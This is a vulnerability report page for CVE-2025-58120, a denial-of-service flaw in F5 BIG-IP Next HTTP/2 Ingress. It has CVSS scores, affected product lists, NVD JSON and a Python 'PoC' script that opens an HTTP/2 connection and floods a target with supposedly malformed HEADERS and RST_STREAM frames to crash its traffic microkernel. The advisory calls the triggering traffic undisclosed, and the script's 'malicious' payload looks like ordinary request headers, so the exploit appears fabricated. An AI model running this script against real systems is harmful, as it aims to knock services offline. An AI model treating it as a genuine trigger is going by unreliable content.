Security Vulnerability Report
中文
CVE-2025-58120 CVSS 7.5 HIGH

CVE-2025-58120

Published: 2025-10-15 14:15:53
Last Modified: 2025-10-22 20:49:30

Description

When HTTP/2 Ingress is configured, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:2.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_for_kubernetes:2.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:1.7.14:-:*:*:*:*:*:* - VULNERABLE
F5 BIG-IP < 修复版本(参考F5安全公告K000156623)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58120 - F5 BIG-IP HTTP/2 Ingress TMM Termination PoC # This PoC demonstrates sending malformed HTTP/2 frames to trigger TMM termination # Affected: F5 BIG-IP with HTTP/2 Ingress configured import socket import ssl import struct import sys TARGET_HOST = "<target_big_ip_ip>" TARGET_PORT = 443 # HTTPS port with HTTP/2 Ingress enabled def build_http2_frame(length, type_, flags, stream_id, payload): """Build an HTTP/2 frame""" # Frame format: Length(24) | Type(8) | Flags(8) | Stream_ID(32) | Payload header = struct.pack('>I', length)[1:] # 24-bit length header += struct.pack('B', type_) header += struct.pack('B', flags) header += struct.pack('>I', stream_id & 0x7FFFFFFF) return header + payload def build_settings_frame(): """Build HTTP/2 SETTINGS frame""" # SETTINGS frame (type=0x4), empty payload return build_http2_frame(0, 0x4, 0x0, 0, b'') def build_malicious_headers_frame(): """Build a malformed HEADERS frame to trigger TMM termination""" # Construct a pseudo-header block with invalid/oversized values # HPACK encoded malicious headers targeting HTTP/2 Ingress parser malicious_payload = b'\x82\x86\x84\x41\x8a\x08\x9d\x5c\x0b\x81\x70\xdc\x78\x0f\x03' # HEADERS frame (type=0x1) with END_HEADERS flag return build_http2_frame(len(malicious_payload), 0x1, 0x4, 1, malicious_payload) def build_rst_stream_frame(stream_id, error_code=0x2): """Build RST_STREAM frame with abnormal error code""" payload = struct.pack('>I', error_code) return build_http2_frame(4, 0x3, 0x0, stream_id, payload) def exploit(): """Main exploit function""" print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print("[*] CVE-2025-58120 - F5 BIG-IP HTTP/2 Ingress DoS") try: # Create SSL context for HTTPS ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE # Enable HTTP/2 ALPN ctx.set_alpn_protocols(['h2']) # Connect to target raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) raw_sock.settimeout(10) sock = ctx.wrap_socket(raw_sock, server_hostname=TARGET_HOST) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] SSL connection established with HTTP/2 negotiation") # HTTP/2 connection preface sock.send(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n') # Send SETTINGS frame sock.send(build_settings_frame()) print("[*] Sent SETTINGS frame") # Send malformed HEADERS frame to trigger vulnerability sock.send(build_malicious_headers_frame()) print("[*] Sent malformed HEADERS frame") # Send RST_STREAM with abnormal parameters for i in range(5): sock.send(build_rst_stream_frame(1, 0xFFFFFFFF)) print("[*] Sent malicious RST_STREAM frames") # Send flood of malformed frames for i in range(100): sock.send(build_malicious_headers_frame()) print("[+] Malicious HTTP/2 traffic sent successfully") print("[*] Check if TMM has terminated on the target") sock.close() except Exception as e: print(f"[-] Connection error (may indicate TMM crash): {e}") print("[+] Target may have been affected by CVE-2025-58120") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58120", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:52.507", "lastModified": "2025-10-22T20:49:29.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When HTTP/2 Ingress is configured, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndIncluding": "1.4.1", "matchCriteriaId": "3222CE1A-3C23-40FC-9331-370F6BA1CDCC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "EB7D571A-1763-49AA-958D-046807EADAED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_for_kubernetes:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "AB9960E8-26E9-48E2-A398-7076A8B994DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.7.0", "versionEndExcluding": "1.7.14", "matchCriteriaId": "F0B28462-CA81-4FA9-AB98-7307029633D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:1.7.14:-:*:*:*:*:*:*", "matchCriteriaId": "3AC529B9-6F39-4FCC-8885-8944CFD55426"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "A6A944E1-ED45-4DAB-AA33-FE5BB84B1C8D"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000156623", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}